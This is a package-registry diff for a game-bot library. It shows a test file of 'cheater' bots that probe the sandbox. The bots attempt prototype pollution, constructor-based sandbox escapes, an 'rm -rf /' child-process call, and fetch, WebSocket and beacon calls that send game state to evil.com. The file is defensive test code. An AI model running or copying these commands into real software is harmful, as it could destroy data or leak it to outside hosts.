@vibemancer/core 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. package/README.md +28 -28
  2. package/dist/{chunk-L7Z7OFXD.js → chunk-OL7ETV6V.js} +3 -3
  3. package/dist/chunk-OL7ETV6V.js.map +1 -0
  4. package/dist/index-browser.d.ts +1 -1
  5. package/dist/index-browser.js +1 -1
  6. package/dist/index.js +1 -1
  7. package/package.json +79 -78
  8. package/src/bots/berserker/01_Stormchaser.ts +457 -457
  9. package/src/bots/berserker/02_Stormcaller.ts +417 -417
  10. package/src/bots/berserker/03_Stormforger.ts +481 -481
  11. package/src/bots/caster/01_Flamecaller.ts +286 -286
  12. package/src/bots/caster/02_Pyromancer.ts +350 -350
  13. package/src/bots/caster/03_Infernalist.ts +492 -492
  14. package/src/bots/defensive/01_Turtle.ts +151 -151
  15. package/src/bots/defensive/02_Sentinel.ts +134 -134
  16. package/src/bots/defensive/03_Golem.ts +357 -357
  17. package/src/bots/duelist/01_Battlemage.ts +433 -433
  18. package/src/bots/duelist/02_Warmage.ts +438 -438
  19. package/src/bots/duelist/03_Archmage.ts +588 -588
  20. package/src/bots/homing/01_Bonemancer.ts +67 -67
  21. package/src/bots/homing/02_Lich.ts +356 -356
  22. package/src/bots/homing/03_Archlich.ts +220 -220
  23. package/src/bots/kiter/01_Spellspinner.ts +398 -398
  24. package/src/bots/kiter/02_Spellweaver.ts +378 -378
  25. package/src/bots/kiter/03_Spellbinder.ts +448 -448
  26. package/src/bots/melee/01_Shadowblade.ts +270 -270
  27. package/src/bots/melee/02_Nightblade.ts +437 -437
  28. package/src/bots/melee/03_Voidblade.ts +582 -582
  29. package/src/bots/sniper/01_Spellshot.ts +385 -385
  30. package/src/bots/sniper/02_Spelltracer.ts +441 -441
  31. package/src/bots/sniper/03_Spellseeker.ts +546 -546
  32. package/src/bots/standalone/Critter.ts +89 -89
  33. package/src/bots/standalone/Doombringer.ts +91 -91
  34. package/src/bots/standalone/Hogger.ts +228 -228
  35. package/src/bots/standalone/Rookie.ts +50 -50
  36. package/src/bots/standalone/TargetDummy.ts +21 -21
  37. package/src/bots/test/cheater.ts +405 -405
  38. package/src/bots/test/crasher.ts +81 -81
  39. package/src/engine/hooks-runtime.ts +394 -394
  40. package/src/engine/manual-match.ts +289 -289
  41. package/src/engine/missile-templates.ts +155 -155
  42. package/src/engine/physics.ts +143 -143
  43. package/src/engine/simulation.ts +828 -828
  44. package/src/engine/spells.ts +128 -128
  45. package/src/engine-version.ts +1 -1
  46. package/src/index.ts +23 -23
  47. package/src/rules.ts +254 -254
  48. package/src/types.ts +193 -193
  49. package/src/utils/index.ts +6 -6
  50. package/dist/chunk-L7Z7OFXD.js.map +0 -1
@@ -1,405 +1,405 @@
1
- /* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
2
- /**
3
- * CHEATER TEST BOTS
4
- *
5
- * These bots attempt various exploit techniques to test sandbox safety.
6
- * They are NOT registered in ALL_BOTS — test-only.
7
- *
8
- * Each variant targets a different attack vector:
9
- * - CheaterPrototypePollution: modifies built-in prototypes
10
- * - CheaterStateCorruption: tries to mutate the game state
11
- * - CheaterNodeAccess: tries to access Node.js APIs
12
- * - CheaterSandboxEscape: tries to break out of the sandbox
13
- * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
14
- * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
15
- * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
16
- */
17
-
18
- import type {WizardFunction} from '../../types.js';
19
-
20
- /**
21
- * Attempts to modify built-in prototypes to sabotage the other bot.
22
- * With prototype freezing enabled, these assignments should silently fail
23
- * (or throw in strict mode), and the match should proceed normally.
24
- */
25
- export const CheaterPrototypePollution: WizardFunction = () =>
26
- {
27
- try
28
- {
29
- // Try to sabotage Array methods used by the other bot
30
- (Array.prototype as any).map = () => [];
31
- (Array.prototype as any).filter = () => [];
32
- (Array.prototype as any).find = () => undefined;
33
-
34
- // Try to sabotage Object
35
- (Object.prototype as any).position = {x: 0, y: 0};
36
- (Object.prototype as any).health = 0;
37
-
38
- // Try to sabotage Math functions used by combat calculations
39
- (Math as any).sqrt = () => 0;
40
- (Math as any).atan2 = () => 0;
41
- }
42
- catch
43
- {
44
- // Frozen prototypes will throw in strict mode — that's expected
45
- }
46
-
47
- return {move: {x: 0, y: 0}};
48
- };
49
-
50
- /**
51
- * Attempts to mutate the game state object passed to it, hoping to corrupt
52
- * the simulation. With proper state views (copies), mutations should have
53
- * no effect on the actual simulation state.
54
- */
55
- export const CheaterStateCorruption: WizardFunction = ({state}) =>
56
- {
57
- try
58
- {
59
- // Try to give ourselves infinite health
60
- (state as any).health = 999999;
61
- (state as any).maxHealth = 999999;
62
-
63
- // Try to kill enemies by modifying their state
64
- for (const enemy of state.enemies)
65
- {
66
- (enemy as any).health = 0;
67
- (enemy as any).position = {x: -9999, y: -9999};
68
- }
69
-
70
- // Try to delete all enemy projectiles
71
- for (const proj of state.projectiles)
72
- {
73
- (proj as any).damage = 0;
74
- (proj as any).remainingTicks = 0;
75
- }
76
-
77
- // Try to modify the position directly
78
- state.position.x = 400;
79
- state.position.y = 400;
80
- }
81
- catch
82
- {
83
- // Expected if state is frozen
84
- }
85
-
86
- return {move: {x: 0, y: 0}};
87
- };
88
-
89
- /**
90
- * Attempts to access Node.js APIs that should not be available in the sandbox.
91
- * With esbuild platform: 'neutral', these should all be undefined or throw.
92
- */
93
- export const CheaterNodeAccess: WizardFunction = () =>
94
- {
95
- try
96
- {
97
- // Try to access filesystem
98
- const fs = (globalThis as any).require?.('fs');
99
- fs?.writeFileSync?.('/tmp/hacked', 'pwned');
100
- }
101
- catch
102
- {
103
- /* expected */
104
- }
105
-
106
- try
107
- {
108
- // Try to access process
109
- const proc = (globalThis as any).process;
110
- proc?.exit?.(1);
111
- }
112
- catch
113
- {
114
- /* expected */
115
- }
116
-
117
- try
118
- {
119
- // Try to spawn child process
120
- const cp = (globalThis as any).require?.('child_process');
121
- cp?.execSync?.('rm -rf /');
122
- }
123
- catch
124
- {
125
- /* expected */
126
- }
127
-
128
- try
129
- {
130
- // Try to access network
131
- const net = (globalThis as any).require?.('net');
132
- net?.createConnection?.({host: 'evil.com', port: 80});
133
- }
134
- catch
135
- {
136
- /* expected */
137
- }
138
-
139
- return {move: {x: 0, y: 0}};
140
- };
141
-
142
- /**
143
- * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
144
- * These should all fail within isolated-vm.
145
- */
146
- export const CheaterSandboxEscape: WizardFunction = () =>
147
- {
148
- try
149
- {
150
- // Classic sandbox escape: constructor.constructor to get Function constructor
151
- const fn = {}.constructor.constructor('return this')();
152
- // If this works, fn would be the global object outside the sandbox
153
- (fn as any)?.process?.exit?.(1);
154
- }
155
- catch
156
- {
157
- /* expected */
158
- }
159
-
160
- try
161
- {
162
- // Try to access the global scope via Function
163
- const global = Function('return this')();
164
- (global as any)?.process?.exit?.(1);
165
- }
166
- catch
167
- {
168
- /* expected */
169
- }
170
-
171
- try
172
- {
173
- // Try eval-based escape
174
- const result = eval('globalThis.process');
175
- (result as any)?.exit?.(1);
176
- }
177
- catch
178
- {
179
- /* expected */
180
- }
181
-
182
- try
183
- {
184
- // Try to access import.meta (might leak host info)
185
- const meta = import.meta as any;
186
- meta?.url; // Should just be undefined or sandboxed
187
- }
188
- catch
189
- {
190
- /* expected */
191
- }
192
-
193
- return {move: {x: 0, y: 0}};
194
- };
195
-
196
- // ============================================================================
197
- // IO / NETWORK CHEATER BOTS
198
- // ============================================================================
199
-
200
- /**
201
- * Attempts to make network requests using every browser IO API.
202
- * All of these should be blocked by the IO sandbox banner.
203
- * If any succeeds, it would be a security vulnerability — bot code could
204
- * exfiltrate game state, load external code, or communicate with C2 servers.
205
- */
206
- export const CheaterNetworkIO: WizardFunction = ({state}) =>
207
- {
208
- const g = globalThis as any;
209
-
210
- // --- fetch ---
211
- try
212
- {
213
- const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
214
- // If fetch exists and returns a promise, that's a breach
215
- if (result && typeof result.then === 'function')
216
- {
217
- // Should never reach here
218
- }
219
- }
220
- catch
221
- {
222
- /* expected */
223
- }
224
-
225
- // --- XMLHttpRequest ---
226
- try
227
- {
228
- const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
229
- xhr?.open?.('POST', 'https://evil.com/exfil');
230
- xhr?.send?.(
231
- JSON.stringify({health: state.health, position: state.position}),
232
- );
233
- }
234
- catch
235
- {
236
- /* expected */
237
- }
238
-
239
- // --- WebSocket ---
240
- try
241
- {
242
- const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
243
- ws?.send?.('connected');
244
- }
245
- catch
246
- {
247
- /* expected */
248
- }
249
-
250
- // --- EventSource (Server-Sent Events) ---
251
- try
252
- {
253
- const es = g.EventSource
254
- ? new g.EventSource('https://evil.com/commands')
255
- : null;
256
- es?.close?.();
257
- }
258
- catch
259
- {
260
- /* expected */
261
- }
262
-
263
- // --- navigator.sendBeacon ---
264
- try
265
- {
266
- g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
267
- }
268
- catch
269
- {
270
- /* expected */
271
- }
272
-
273
- return {move: {x: 0, y: 0}};
274
- };
275
-
276
- /**
277
- * Attempts to inject external scripts or create sub-workers to bypass sandbox.
278
- * importScripts can load and execute arbitrary JS from any URL.
279
- * Worker/SharedWorker can spawn new contexts without IO restrictions.
280
- */
281
- export const CheaterScriptInjection: WizardFunction = () =>
282
- {
283
- const g = globalThis as any;
284
-
285
- // --- importScripts (Web Worker API: loads & executes external JS) ---
286
- try
287
- {
288
- g.importScripts?.('https://cdn.evil.com/payload.js');
289
- }
290
- catch
291
- {
292
- /* expected */
293
- }
294
-
295
- // --- Worker (create sub-worker to bypass restrictions) ---
296
- try
297
- {
298
- const w = g.Worker
299
- ? new g.Worker('data:text/javascript,fetch("https://evil.com")')
300
- : null;
301
- w?.terminate?.();
302
- }
303
- catch
304
- {
305
- /* expected */
306
- }
307
-
308
- // --- SharedWorker ---
309
- try
310
- {
311
- const sw = g.SharedWorker
312
- ? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
313
- : null;
314
- sw?.port?.close?.();
315
- }
316
- catch
317
- {
318
- /* expected */
319
- }
320
-
321
- // --- Reconstruct fetch via Request/Response ---
322
- try
323
- {
324
- const req = g.Request ? new g.Request('https://evil.com/data') : null;
325
- if (req)
326
- {
327
- // Without fetch, a Request object alone can't send anything,
328
- // but verify the constructor is also blocked
329
- }
330
- }
331
- catch
332
- {
333
- /* expected */
334
- }
335
-
336
- return {move: {x: 0, y: 0}};
337
- };
338
-
339
- /**
340
- * Attempts to use storage and cross-context communication APIs.
341
- * These could be used to persist data between matches, leak info across
342
- * tabs, or coordinate with external code.
343
- */
344
- export const CheaterStorageAndComms: WizardFunction = () =>
345
- {
346
- const g = globalThis as any;
347
-
348
- // --- BroadcastChannel (cross-tab/worker communication) ---
349
- try
350
- {
351
- const bc = g.BroadcastChannel
352
- ? new g.BroadcastChannel('exfil-channel')
353
- : null;
354
- bc?.postMessage?.('secret data');
355
- bc?.close?.();
356
- }
357
- catch
358
- {
359
- /* expected */
360
- }
361
-
362
- // --- indexedDB (persistent storage) ---
363
- try
364
- {
365
- const db = g.indexedDB?.open?.('exfil-db', 1);
366
- if (db)
367
- {
368
- // If indexedDB is available, bot could store/retrieve data across matches
369
- }
370
- }
371
- catch
372
- {
373
- /* expected */
374
- }
375
-
376
- // --- Cache API ---
377
- try
378
- {
379
- const cache = g.caches?.open?.('exfil-cache');
380
- if (cache && typeof cache.then === 'function')
381
- {
382
- // Could cache external resources for later use
383
- }
384
- }
385
- catch
386
- {
387
- /* expected */
388
- }
389
-
390
- // --- navigator (various APIs) ---
391
- try
392
- {
393
- // navigator.clipboard, navigator.geolocation, etc.
394
- const nav = g.navigator;
395
- nav?.clipboard?.writeText?.('stolen data');
396
- nav?.geolocation?.getCurrentPosition?.(() =>
397
- {});
398
- }
399
- catch
400
- {
401
- /* expected */
402
- }
403
-
404
- return {move: {x: 0, y: 0}};
405
- };
1
+ /* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
2
+ /**
3
+ * CHEATER TEST BOTS
4
+ *
5
+ * These bots attempt various exploit techniques to test sandbox safety.
6
+ * They are NOT registered in ALL_BOTS — test-only.
7
+ *
8
+ * Each variant targets a different attack vector:
9
+ * - CheaterPrototypePollution: modifies built-in prototypes
10
+ * - CheaterStateCorruption: tries to mutate the game state
11
+ * - CheaterNodeAccess: tries to access Node.js APIs
12
+ * - CheaterSandboxEscape: tries to break out of the sandbox
13
+ * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
14
+ * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
15
+ * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
16
+ */
17
+
18
+ import type {WizardFunction} from '../../types.js';
19
+
20
+ /**
21
+ * Attempts to modify built-in prototypes to sabotage the other bot.
22
+ * With prototype freezing enabled, these assignments should silently fail
23
+ * (or throw in strict mode), and the match should proceed normally.
24
+ */
25
+ export const CheaterPrototypePollution: WizardFunction = (_props) =>
26
+ {
27
+ try
28
+ {
29
+ // Try to sabotage Array methods used by the other bot
30
+ (Array.prototype as any).map = () => [];
31
+ (Array.prototype as any).filter = () => [];
32
+ (Array.prototype as any).find = () => undefined;
33
+
34
+ // Try to sabotage Object
35
+ (Object.prototype as any).position = {x: 0, y: 0};
36
+ (Object.prototype as any).health = 0;
37
+
38
+ // Try to sabotage Math functions used by combat calculations
39
+ (Math as any).sqrt = () => 0;
40
+ (Math as any).atan2 = () => 0;
41
+ }
42
+ catch
43
+ {
44
+ // Frozen prototypes will throw in strict mode — that's expected
45
+ }
46
+
47
+ return {move: {x: 0, y: 0}};
48
+ };
49
+
50
+ /**
51
+ * Attempts to mutate the game state object passed to it, hoping to corrupt
52
+ * the simulation. With proper state views (copies), mutations should have
53
+ * no effect on the actual simulation state.
54
+ */
55
+ export const CheaterStateCorruption: WizardFunction = ({state}) =>
56
+ {
57
+ try
58
+ {
59
+ // Try to give ourselves infinite health
60
+ (state as any).health = 999999;
61
+ (state as any).maxHealth = 999999;
62
+
63
+ // Try to kill enemies by modifying their state
64
+ for (const enemy of state.enemies)
65
+ {
66
+ (enemy as any).health = 0;
67
+ (enemy as any).position = {x: -9999, y: -9999};
68
+ }
69
+
70
+ // Try to delete all enemy projectiles
71
+ for (const proj of state.projectiles)
72
+ {
73
+ (proj as any).damage = 0;
74
+ (proj as any).remainingTicks = 0;
75
+ }
76
+
77
+ // Try to modify the position directly
78
+ state.position.x = 400;
79
+ state.position.y = 400;
80
+ }
81
+ catch
82
+ {
83
+ // Expected if state is frozen
84
+ }
85
+
86
+ return {move: {x: 0, y: 0}};
87
+ };
88
+
89
+ /**
90
+ * Attempts to access Node.js APIs that should not be available in the sandbox.
91
+ * With esbuild platform: 'neutral', these should all be undefined or throw.
92
+ */
93
+ export const CheaterNodeAccess: WizardFunction = (_props) =>
94
+ {
95
+ try
96
+ {
97
+ // Try to access filesystem
98
+ const fs = (globalThis as any).require?.('fs');
99
+ fs?.writeFileSync?.('/tmp/hacked', 'pwned');
100
+ }
101
+ catch
102
+ {
103
+ /* expected */
104
+ }
105
+
106
+ try
107
+ {
108
+ // Try to access process
109
+ const proc = (globalThis as any).process;
110
+ proc?.exit?.(1);
111
+ }
112
+ catch
113
+ {
114
+ /* expected */
115
+ }
116
+
117
+ try
118
+ {
119
+ // Try to spawn child process
120
+ const cp = (globalThis as any).require?.('child_process');
121
+ cp?.execSync?.('rm -rf /');
122
+ }
123
+ catch
124
+ {
125
+ /* expected */
126
+ }
127
+
128
+ try
129
+ {
130
+ // Try to access network
131
+ const net = (globalThis as any).require?.('net');
132
+ net?.createConnection?.({host: 'evil.com', port: 80});
133
+ }
134
+ catch
135
+ {
136
+ /* expected */
137
+ }
138
+
139
+ return {move: {x: 0, y: 0}};
140
+ };
141
+
142
+ /**
143
+ * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
144
+ * These should all fail within isolated-vm.
145
+ */
146
+ export const CheaterSandboxEscape: WizardFunction = (_props) =>
147
+ {
148
+ try
149
+ {
150
+ // Classic sandbox escape: constructor.constructor to get Function constructor
151
+ const fn = {}.constructor.constructor('return this')();
152
+ // If this works, fn would be the global object outside the sandbox
153
+ (fn as any)?.process?.exit?.(1);
154
+ }
155
+ catch
156
+ {
157
+ /* expected */
158
+ }
159
+
160
+ try
161
+ {
162
+ // Try to access the global scope via Function
163
+ const global = Function('return this')();
164
+ (global as any)?.process?.exit?.(1);
165
+ }
166
+ catch
167
+ {
168
+ /* expected */
169
+ }
170
+
171
+ try
172
+ {
173
+ // Try eval-based escape
174
+ const result = eval('globalThis.process');
175
+ (result as any)?.exit?.(1);
176
+ }
177
+ catch
178
+ {
179
+ /* expected */
180
+ }
181
+
182
+ try
183
+ {
184
+ // Try to access import.meta (might leak host info)
185
+ const meta = import.meta as any;
186
+ meta?.url; // Should just be undefined or sandboxed
187
+ }
188
+ catch
189
+ {
190
+ /* expected */
191
+ }
192
+
193
+ return {move: {x: 0, y: 0}};
194
+ };
195
+
196
+ // ============================================================================
197
+ // IO / NETWORK CHEATER BOTS
198
+ // ============================================================================
199
+
200
+ /**
201
+ * Attempts to make network requests using every browser IO API.
202
+ * All of these should be blocked by the IO sandbox banner.
203
+ * If any succeeds, it would be a security vulnerability — bot code could
204
+ * exfiltrate game state, load external code, or communicate with C2 servers.
205
+ */
206
+ export const CheaterNetworkIO: WizardFunction = ({state}) =>
207
+ {
208
+ const g = globalThis as any;
209
+
210
+ // --- fetch ---
211
+ try
212
+ {
213
+ const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
214
+ // If fetch exists and returns a promise, that's a breach
215
+ if (result && typeof result.then === 'function')
216
+ {
217
+ // Should never reach here
218
+ }
219
+ }
220
+ catch
221
+ {
222
+ /* expected */
223
+ }
224
+
225
+ // --- XMLHttpRequest ---
226
+ try
227
+ {
228
+ const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
229
+ xhr?.open?.('POST', 'https://evil.com/exfil');
230
+ xhr?.send?.(
231
+ JSON.stringify({health: state.health, position: state.position}),
232
+ );
233
+ }
234
+ catch
235
+ {
236
+ /* expected */
237
+ }
238
+
239
+ // --- WebSocket ---
240
+ try
241
+ {
242
+ const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
243
+ ws?.send?.('connected');
244
+ }
245
+ catch
246
+ {
247
+ /* expected */
248
+ }
249
+
250
+ // --- EventSource (Server-Sent Events) ---
251
+ try
252
+ {
253
+ const es = g.EventSource
254
+ ? new g.EventSource('https://evil.com/commands')
255
+ : null;
256
+ es?.close?.();
257
+ }
258
+ catch
259
+ {
260
+ /* expected */
261
+ }
262
+
263
+ // --- navigator.sendBeacon ---
264
+ try
265
+ {
266
+ g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
267
+ }
268
+ catch
269
+ {
270
+ /* expected */
271
+ }
272
+
273
+ return {move: {x: 0, y: 0}};
274
+ };
275
+
276
+ /**
277
+ * Attempts to inject external scripts or create sub-workers to bypass sandbox.
278
+ * importScripts can load and execute arbitrary JS from any URL.
279
+ * Worker/SharedWorker can spawn new contexts without IO restrictions.
280
+ */
281
+ export const CheaterScriptInjection: WizardFunction = (_props) =>
282
+ {
283
+ const g = globalThis as any;
284
+
285
+ // --- importScripts (Web Worker API: loads & executes external JS) ---
286
+ try
287
+ {
288
+ g.importScripts?.('https://cdn.evil.com/payload.js');
289
+ }
290
+ catch
291
+ {
292
+ /* expected */
293
+ }
294
+
295
+ // --- Worker (create sub-worker to bypass restrictions) ---
296
+ try
297
+ {
298
+ const w = g.Worker
299
+ ? new g.Worker('data:text/javascript,fetch("https://evil.com")')
300
+ : null;
301
+ w?.terminate?.();
302
+ }
303
+ catch
304
+ {
305
+ /* expected */
306
+ }
307
+
308
+ // --- SharedWorker ---
309
+ try
310
+ {
311
+ const sw = g.SharedWorker
312
+ ? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
313
+ : null;
314
+ sw?.port?.close?.();
315
+ }
316
+ catch
317
+ {
318
+ /* expected */
319
+ }
320
+
321
+ // --- Reconstruct fetch via Request/Response ---
322
+ try
323
+ {
324
+ const req = g.Request ? new g.Request('https://evil.com/data') : null;
325
+ if (req)
326
+ {
327
+ // Without fetch, a Request object alone can't send anything,
328
+ // but verify the constructor is also blocked
329
+ }
330
+ }
331
+ catch
332
+ {
333
+ /* expected */
334
+ }
335
+
336
+ return {move: {x: 0, y: 0}};
337
+ };
338
+
339
+ /**
340
+ * Attempts to use storage and cross-context communication APIs.
341
+ * These could be used to persist data between matches, leak info across
342
+ * tabs, or coordinate with external code.
343
+ */
344
+ export const CheaterStorageAndComms: WizardFunction = (_props) =>
345
+ {
346
+ const g = globalThis as any;
347
+
348
+ // --- BroadcastChannel (cross-tab/worker communication) ---
349
+ try
350
+ {
351
+ const bc = g.BroadcastChannel
352
+ ? new g.BroadcastChannel('exfil-channel')
353
+ : null;
354
+ bc?.postMessage?.('secret data');
355
+ bc?.close?.();
356
+ }
357
+ catch
358
+ {
359
+ /* expected */
360
+ }
361
+
362
+ // --- indexedDB (persistent storage) ---
363
+ try
364
+ {
365
+ const db = g.indexedDB?.open?.('exfil-db', 1);
366
+ if (db)
367
+ {
368
+ // If indexedDB is available, bot could store/retrieve data across matches
369
+ }
370
+ }
371
+ catch
372
+ {
373
+ /* expected */
374
+ }
375
+
376
+ // --- Cache API ---
377
+ try
378
+ {
379
+ const cache = g.caches?.open?.('exfil-cache');
380
+ if (cache && typeof cache.then === 'function')
381
+ {
382
+ // Could cache external resources for later use
383
+ }
384
+ }
385
+ catch
386
+ {
387
+ /* expected */
388
+ }
389
+
390
+ // --- navigator (various APIs) ---
391
+ try
392
+ {
393
+ // navigator.clipboard, navigator.geolocation, etc.
394
+ const nav = g.navigator;
395
+ nav?.clipboard?.writeText?.('stolen data');
396
+ nav?.geolocation?.getCurrentPosition?.(() =>
397
+ {});
398
+ }
399
+ catch
400
+ {
401
+ /* expected */
402
+ }
403
+
404
+ return {move: {x: 0, y: 0}};
405
+ };